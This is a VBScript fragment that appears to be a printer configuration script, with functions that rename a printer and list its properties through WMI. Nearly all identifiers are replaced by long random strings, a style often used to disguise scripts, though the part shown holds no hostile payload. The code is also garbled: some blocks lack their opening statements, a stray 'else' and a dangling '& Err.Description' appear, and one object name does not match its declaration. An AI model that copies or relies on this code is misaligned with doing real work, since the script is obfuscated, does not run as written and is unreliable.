dim LLrDsIMMIRQdKQQWpFiuUffEaqsVhNnagmGvfKJUzMncPFeRNmyHCRZnqnEAKMtluOxAuPhgvFuZQHrHPleznptazbTdhBuFEYlrjdQLEsJkqluTLOPCYBRyXoQACWcfXsRNrDUCyYtnFFPjWehjkkAnaQxIKFZCXLdJBLiGSLWfqhhsUMhpwQxWDsqgVdCDNCQEVnzp

dim strNewName

dim pkEAlWElBUKpYmPVdcmvuFUkuXEhaFSgQHmpQLthhgcRkSPZfmrlMsEWbFSiJcaQCsbiDATiPCDcMKuBAZqmxasllKiEOMcQdlQltmVtwlbTgzKlEJlDqbulmwAqfbuHDEEeocFzGwwLRObWjQqvSXURTrfdQvlSXaJVEUdMVANJxcdBJiGWUQzZKVLVfHdEIkwELrLq

dim rTXcmVBSOLkdMxqRuLkkhkIKZxEdFuYCJKxubsdxHqmqCNzStWUhFYUzQYWPkRkubucnmlRMiFhzRXxpIHuFYSZBQGRPxEruaBzsBOVjBalRMaYKMfeDLCssBxvImcOHtPnhqiJJbhJgOjInUTZrlFsfQDcMFJeHlQKZEtITmPVzubkjYkIXfoHXjjMWghaXKDzHEYHl

OdfxLjvmIEVCoZdoeCWovwqlbAPjRCABkrpKwRKAoRoBqjLUmFciuJXXMQnHRFcJPUHSsEYswXTdTGKmxphwPgXdjycSwQVnPKHgIoPmzRpqeayoeVPNloreXdBpuwTKzxwezIaZqzPVMsfUFPThsKlyuWjZwBGRhUMuqIUyxAeraePRPRVfpgBaoDHtOzuiKtFauHRU = qSyyOfYspEghYkxAKESoSsIQZQIOvZMPXuoXvdcacQtyROXWDkHuegfUiCSjzcSvZlpoIqrWnzgREKuyboPHpcdhxSOFcJFlaUwBKEJfcrVbOIxNkTTSJPXdWcIZZjckSzFXdYIcxQAHJcbkaPVYuFEsRxxHhsbqUJExgkzCyhZxaAKRtJFcsRvoPoRGGaUkgxtPSTva

strServer = oParamDict.Item(kServerName)

LLrDsIMMIRQdKQQWpFiuUffEaqsVhNnagmGvfKJUzMncPFeRNmyHCRZnqnEAKMtluOxAuPhgvFuZQHrHPleznptazbTdhBuFEYlrjdQLEsJkqluTLOPCYBRyXoQACWcfXsRNrDUCyYtnFFPjWehjkkAnaQxIKFZCXLdJBLiGSLWfqhhsUMhpwQxWDsqgVdCDNCQEVnzp = oParamDict.Item(kPrinterName)

strNewName = oParamDict.Item(kNewPrinterName)

pkEAlWElBUKpYmPVdcmvuFUkuXEhaFSgQHmpQLthhgcRkSPZfmrlMsEWbFSiJcaQCsbiDATiPCDcMKuBAZqmxasllKiEOMcQdlQltmVtwlbTgzKlEJlDqbulmwAqfbuHDEEeocFzGwwLRObWjQqvSXURTrfdQvlSXaJVEUdMVANJxcdBJiGWUQzZKVLVfHdEIkwELrLq = oParamDict.Item(kUserName)

rTXcmVBSOLkdMxqRuLkkhkIKZxEdFuYCJKxubsdxHqmqCNzStWUhFYUzQYWPkRkubucnmlRMiFhzRXxpIHuFYSZBQGRPxEruaBzsBOVjBalRMaYKMfeDLCssBxvImcOHtPnhqiJJbhJgOjInUTZrlFsfQDcMFJeHlQKZEtITmPVzubkjYkIXfoHXjjMWghaXKDzHEYHl = oParamDict.Item(kPassword)

if ekKUhwnBxdsvDClfPqyZzxDGFuQaWZaGlilPyXWbFiwoYYgUiQSsdNPnDsXtdQHknTcjgOgNSqJuniBsTuEbnUzLsmEMkbHmqZmVtVZVnTADezWfsYakusFUDrdSDKDyxMhNaQONfbFMhpkmSduxAvkVUHPqtqogSQydYHOhsyqOEffMThsCJjiZNzWMyoHDpNgFlouU(strServer, zNMKTfsepgddJetxvhqdcnASkeOlHUembSqEVummWIpeiLuNDjjcsHBnobijHqZgzKixJENXTaEdeHdaXbmgqjlsWPPkFuQYiOcYOQLCJTenhmuBZqJbgOJTUwNmOoTJhGoxDSiODUFvgVixaZXMPIHcBCOIlLWEFsHFYrgScrsisQqFFEZzgJkLOgNOnpVlmQGOPRfN, pkEAlWElBUKpYmPVdcmvuFUkuXEhaFSgQHmpQLthhgcRkSPZfmrlMsEWbFSiJcaQCsbiDATiPCDcMKuBAZqmxasllKiEOMcQdlQltmVtwlbTgzKlEJlDqbulmwAqfbuHDEEeocFzGwwLRObWjQqvSXURTrfdQvlSXaJVEUdMVANJxcdBJiGWUQzZKVLVfHdEIkwELrLq, rTXcmVBSOLkdMxqRuLkkhkIKZxEdFuYCJKxubsdxHqmqCNzStWUhFYUzQYWPkRkubucnmlRMiFhzRXxpIHuFYSZBQGRPxEruaBzsBOVjBalRMaYKMfeDLCssBxvImcOHtPnhqiJJbhJgOjInUTZrlFsfQDcMFJeHlQKZEtITmPVzubkjYkIXfoHXjjMWghaXKDzHEYHl, ZBQastBsVhTPIDjNDiSmEwdbAWfilXTJlFQOGdlxeuDcNvqOkKisnoVGcFkNkSpsKOJLBUeiLOXpRhCawWtItyGotnHFoOyFETykVsQCdngjfClyraEqEQnEDnQauNozTJJpCKYcXkcxpIHoBVVVFEGrbZlDGKqbWCyfcKnstYtwhcTnejTBHOYOrfQQgGQzTthzhnJ

set ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm = ZBQastBsVhTPIDjNDiSmEwdbAWfilXTJlFQOGdlxeuDcNvqOkKisnoVGcFkNkSpsKOJLBUeiLOXpRhCawWtItyGotnHFoOyFETykVsQCdngjfClyraEqEQnEDnQauNozTJJpCKYcXkcxpIHoBVVVFEGrbZlDGKqbWCyfcKnstYtwhcTnejTBHOYOrfQQgGQzTthzhnJt.Get("Win32_Printer.DeviceID='" & LLrDsIMMIRQdKQQWpFiuUffEaqsVhNnagmGvfKJUzMncPFeRNmyHCRZnqnEAKMtluOxAuPhgvFuZQHrHPleznptazbTdhBuFEYlrjdQLEsJkqluTLOPCYBRyXoQACWcfXsRNrDUCyYtnFFPjWehjkkAnaQxIKFZCXLdJBLiGSLWfqhhsUMhpwQxWDsqgVdCDNCQEVnzp & "'")

else

RenamePrinter = qSyyOfYspEghYkxAKESoSsIQZQIOvZMPXuoXvdcacQtyROXWDkHuegfUiCSjzcSvZlpoIqrWnzgREKuyboPHpcdhxSOFcJFlaUwBKEJfcrVbOIxNkTTSJPXdWcIZZjckSzFXdYIcxQAHJcbkaPVYuFEsRxxHhsbqUJExgkzCyhZxaAKRtJFcsRvoPoRGGaUkgxtPSTva

exit function

end if

if Err.Number = prWQZWcWZmuxTjgnehdNSicGPPrcbObuVTYZdEQDsHzeUqncxuMEHpPzhFllVKOKfFnBcsFvskKNNhPviCUGZscWnoxcrFucCyTAQNpzWQjBZSbLKkFfPCkIexHURdrKUMOdBkAAwMPtTRplSxsCskrzNSxOsGYNBNMByloqKEZikFapGTAvISuhnTiLWRXNjOfEOycT then

lZAzmaLvsoTjgoPMZlNiPteCDJebrYJyDhbCgOurWFUcMtVXaJYEcNyDleLnQkqcktMBdHENJydmYuVcJlNiWXgGHDtVdKmvJzvSqayfrWnQSeKtrPFnMaEQbxAZgxaEzZynXekagdwyMcTckBFREdAOuTIBCaUGSNOhXoolBQUqczcKQomCcnXSBfKpNdxanIcyjhDB = ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.RenamePrinter(strNewName)

if lZAzmaLvsoTjgoPMZlNiPteCDJebrYJyDhbCgOurWFUcMtVXaJYEcNyDleLnQkqcktMBdHENJydmYuVcJlNiWXgGHDtVdKmvJzvSqayfrWnQSeKtrPFnMaEQbxAZgxaEzZynXekagdwyMcTckBFREdAOuTIBCaUGSNOhXoolBQUqczcKQomCcnXSBfKpNdxanIcyjhDB = prWQZWcWZmuxTjgnehdNSicGPPrcbObuVTYZdEQDsHzeUqncxuMEHpPzhFllVKOKfFnBcsFvskKNNhPviCUGZscWnoxcrFucCyTAQNpzWQjBZSbLKkFfPCkIexHURdrKUMOdBkAAwMPtTRplSxsCskrzNSxOsGYNBNMByloqKEZikFapGTAvISuhnTiLWRXNjOfEOycT then

wscript.echo L_Text_Msg_General01_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & LLrDsIMMIRQdKQQWpFiuUffEaqsVhNnagmGvfKJUzMncPFeRNmyHCRZnqnEAKMtluOxAuPhgvFuZQHrHPleznptazbTdhBuFEYlrjdQLEsJkqluTLOPCYBRyXoQACWcfXsRNrDUCyYtnFFPjWehjkkAnaQxIKFZCXLdJBLiGSLWfqhhsUMhpwQxWDsqgVdCDNCQEVnzp

wscript.echo VMmNcqzXwgpOHHJJqyYuKRYtVZTwYOwKlAEtziTKtqLUujkoUWpDLEjSsfkFIPfmGqkcVSAoVcpxunUAqRViUbNeNVupbYbpJSeMjtqalYrTlIbdHqFHUegxBHqRlOWuvlgrUthlfRhNBwQMEBkXJEHqpvbnbWvqdmvfHQZYCOkyXQDNkxmttkeRhlyeUZDBuwOPNykF & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & strNewName

OdfxLjvmIEVCoZdoeCWovwqlbAPjRCABkrpKwRKAoRoBqjLUmFciuJXXMQnHRFcJPUHSsEYswXTdTGKmxphwPgXdjycSwQVnPKHgIoPmzRpqeayoeVPNloreXdBpuwTKzxwezIaZqzPVMsfUFPThsKlyuWjZwBGRhUMuqIUyxAeraePRPRVfpgBaoDHtOzuiKtFauHRU = prWQZWcWZmuxTjgnehdNSicGPPrcbObuVTYZdEQDsHzeUqncxuMEHpPzhFllVKOKfFnBcsFvskKNNhPviCUGZscWnoxcrFucCyTAQNpzWQjBZSbLKkFfPCkIexHURdrKUMOdBkAAwMPtTRplSxsCskrzNSxOsGYNBNMByloqKEZikFapGTAvISuhnTiLWRXNjOfEOycT

else

wscript.echo L_Text_Msg_General03_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & LLrDsIMMIRQdKQQWpFiuUffEaqsVhNnagmGvfKJUzMncPFeRNmyHCRZnqnEAKMtluOxAuPhgvFuZQHrHPleznptazbTdhBuFEYlrjdQLEsJkqluTLOPCYBRyXoQACWcfXsRNrDUCyYtnFFPjWehjkkAnaQxIKFZCXLdJBLiGSLWfqhhsUMhpwQxWDsqgVdCDNCQEVnzp & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs _

& L_Text_Error_General03_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & lZAzmaLvsoTjgoPMZlNiPteCDJebrYJyDhbCgOurWFUcMtVXaJYEcNyDleLnQkqcktMBdHENJydmYuVcJlNiWXgGHDtVdKmvJzvSqayfrWnQSeKtrPFnMaEQbxAZgxaEzZynXekagdwyMcTckBFREdAOuTIBCaUGSNOhXoolBQUqczcKQomCcnXSBfKpNdxanIcyjhDB

end if

else

wscript.echo L_Text_Msg_General04_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & LLrDsIMMIRQdKQQWpFiuUffEaqsVhNnagmGvfKJUzMncPFeRNmyHCRZnqnEAKMtluOxAuPhgvFuZQHrHPleznptazbTdhBuFEYlrjdQLEsJkqluTLOPCYBRyXoQACWcfXsRNrDUCyYtnFFPjWehjkkAnaQxIKFZCXLdJBLiGSLWfqhhsUMhpwQxWDsqgVdCDNCQEVnzp & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs _

& Err.Description

end if

else

& Err.Description

call LastError()

end if

RenamePrinter = OdfxLjvmIEVCoZdoeCWovwqlbAPjRCABkrpKwRKAoRoBqjLUmFciuJXXMQnHRFcJPUHSsEYswXTdTGKmxphwPgXdjycSwQVnPKHgIoPmzRpqeayoeVPNloreXdBpuwTKzxwezIaZqzPVMsfUFPThsKlyuWjZwBGRhUMuqIUyxAeraePRPRVfpgBaoDHtOzuiKtFauHRU

end function

function GetPrinter(oParamDict)

on error resume next

gRGuuKzcfxCcAlWOXTfeiFXfwBnMJMLtQxtSTXpOSihyvHjcllruJaGvRPgeyVDahMpuDkunMiGmPasIsVBtGKOcPzKrrGNMoxzFEBeYMyJHLKSpYurEJAQpcNhLLfaUPXiISucKnyFtdJfCSqyexYOiMjFFhLtwSeLrsoaCaiyaKioGQujxxlSQeyfLobMZSCMFBrNr ISMKBOlXznDctniUDEgFSLqQUODfkOqtrRAPiQbZBUQzxDQKraRLRwyTcTbeLKhDcaLspJrQPBQvktwcQnLOLZiKNBJhYBaWhGvYPbvRNbsxqGFJDJCgBopmjzCCFCfejmuAlVLJsABFCZovOheazXEXxXnmNOmIeMYUlGdYEySZmjhLuXpBJHRfLoGcJydoREFKybuy, JIDRMynNFmivtBppyLzkddfcylJAglBWgPSmGPRJZqcMbpMYZNAvEDmwJClvQkbUnnNERTbjaWFQJLGFkJaRCwDzIuktXDVceogMsdOxNZGolBggRXJVjZkPNnXkhkJkNtRcOZOlQbdhvAsnSdOQoWuCGJwxqnPRokupBBXDekKqbVtIMIXPRPtuShaJwOEpvndqaTHe & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & oParamDict.Item(kServerName)

gRGuuKzcfxCcAlWOXTfeiFXfwBnMJMLtQxtSTXpOSihyvHjcllruJaGvRPgeyVDahMpuDkunMiGmPasIsVBtGKOcPzKrrGNMoxzFEBeYMyJHLKSpYurEJAQpcNhLLfaUPXiISucKnyFtdJfCSqyexYOiMjFFhLtwSeLrsoaCaiyaKioGQujxxlSQeyfLobMZSCMFBrNr ISMKBOlXznDctniUDEgFSLqQUODfkOqtrRAPiQbZBUQzxDQKraRLRwyTcTbeLKhDcaLspJrQPBQvktwcQnLOLZiKNBJhYBaWhGvYPbvRNbsxqGFJDJCgBopmjzCCFCfejmuAlVLJsABFCZovOheazXEXxXnmNOmIeMYUlGdYEySZmjhLuXpBJHRfLoGcJydoREFKybuy, pUjGqKgUTvZVPxZZKovlhMFuZoIqeJFtKNopmBpDemWybSOpjCHLKnTxhhHjElFHLoGOkPLwEcrGxyUxLXFqAYdAaICVIkcDMSTcfzINqJqcFwEDgKnuBeHwkyuUieVkSAyeQPjwwxBBrJkmIoNAobwpSExcCElQpPIewWKYvgoiXBWEHEhDhCcvhSzjAMRaCwDNuQLf & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & oParamDict.Item(kPrinterName)

dim strServer

dim strAttributes

dim strStart

dim strEnd

strServer = oParamDict.Item(kServerName)

set ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm = ZBQastBsVhTPIDjNDiSmEwdbAWfilXTJlFQOGdlxeuDcNvqOkKisnoVGcFkNkSpsKOJLBUeiLOXpRhCawWtItyGotnHFoOyFETykVsQCdngjfClyraEqEQnEDnQauNozTJJpCKYcXkcxpIHoBVVVFEGrbZlDGKqbWCyfcKnstYtwhcTnejTBHOYOrfQQgGQzTthzhnJt.Get("Win32_Printer='" & LLrDsIMMIRQdKQQWpFiuUffEaqsVhNnagmGvfKJUzMncPFeRNmyHCRZnqnEAKMtluOxAuPhgvFuZQHrHPleznptazbTdhBuFEYlrjdQLEsJkqluTLOPCYBRyXoQACWcfXsRNrDUCyYtnFFPjWehjkkAnaQxIKFZCXLdJBLiGSLWfqhhsUMhpwQxWDsqgVdCDNCQEVnzp & "'")

else

GetPrinter = qSyyOfYspEghYkxAKESoSsIQZQIOvZMPXuoXvdcacQtyROXWDkHuegfUiCSjzcSvZlpoIqrWnzgREKuyboPHpcdhxSOFcJFlaUwBKEJfcrVbOIxNkTTSJPXdWcIZZjckSzFXdYIcxQAHJcbkaPVYuFEsRxxHhsbqUJExgkzCyhZxaAKRtJFcsRvoPoRGGaUkgxtPSTva

exit function

end if

wscript.echo JIDRMynNFmivtBppyLzkddfcylJAglBWgPSmGPRJZqcMbpMYZNAvEDmwJClvQkbUnnNERTbjaWFQJLGFkJaRCwDzIuktXDVceogMsdOxNZGolBggRXJVjZkPNnXkhkJkNtRcOZOlQbdhvAsnSdOQoWuCGJwxqnPRokupBBXDekKqbVtIMIXPRPtuShaJwOEpvndqaTHe & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & strServer

wscript.echo pUjGqKgUTvZVPxZZKovlhMFuZoIqeJFtKNopmBpDemWybSOpjCHLKnTxhhHjElFHLoGOkPLwEcrGxyUxLXFqAYdAaICVIkcDMSTcfzINqJqcFwEDgKnuBeHwkyuUieVkSAyeQPjwwxBBrJkmIoNAobwpSExcCElQpPIewWKYvgoiXBWEHEhDhCcvhSzjAMRaCwDNuQLf & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.DeviceID

wscript.echo L_Text_Msg_Printer03_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.ShareName

wscript.echo GmrQcBdKRpOwcsEhOknlFamqgtQxcrrpFExVCWQjCuWKruyMytSAbdYyGWuPPXRcyCFmUGYTwpQwywEcQgtzAcbESFJzJCbVxNYBqLnOLOSSojUHzVxmaKEVXdrekwSeYvHoycRuCJGcBnWYBEjzBRqetXlAOfDUYklAdDzQVqPUDyierVhkMLXIYlOWcKiGXCnbHXYC & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.DriverName

wscript.echo tlTHGxWGZQOafJQrNpUDvHDLQYmzWaxtzsnhiiJsSWSvamFcQiHpwQksYxyXVwlNoNlXSPBIVGQCVRThrgHRxxsFqeWDEVOjVvTXrnpRVsKXsZGEKzpCTKPLmOwSyLgnIMivtHUyTQtLBXOfXAUnoyavIvDquTXgCDnrOgncMAsXJPWuMnoWioLjiNNnKkYGEMiVQGMt & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.PortName

wscript.echo L_Text_Msg_Printer06_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.Comment

wscript.echo L_Text_Msg_Printer07_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.Location

wscript.echo L_Text_Msg_Printer08_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.SeparatorFile

wscript.echo L_Text_Msg_Printer09_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.PrintProcessor

wscript.echo L_Text_Msg_Printer10_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.PrintJobDatatype

wscript.echo L_Text_Msg_Printer11_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.Parameters

wscript.echo L_Text_Msg_Printer13_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & CStr(ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.Priority)

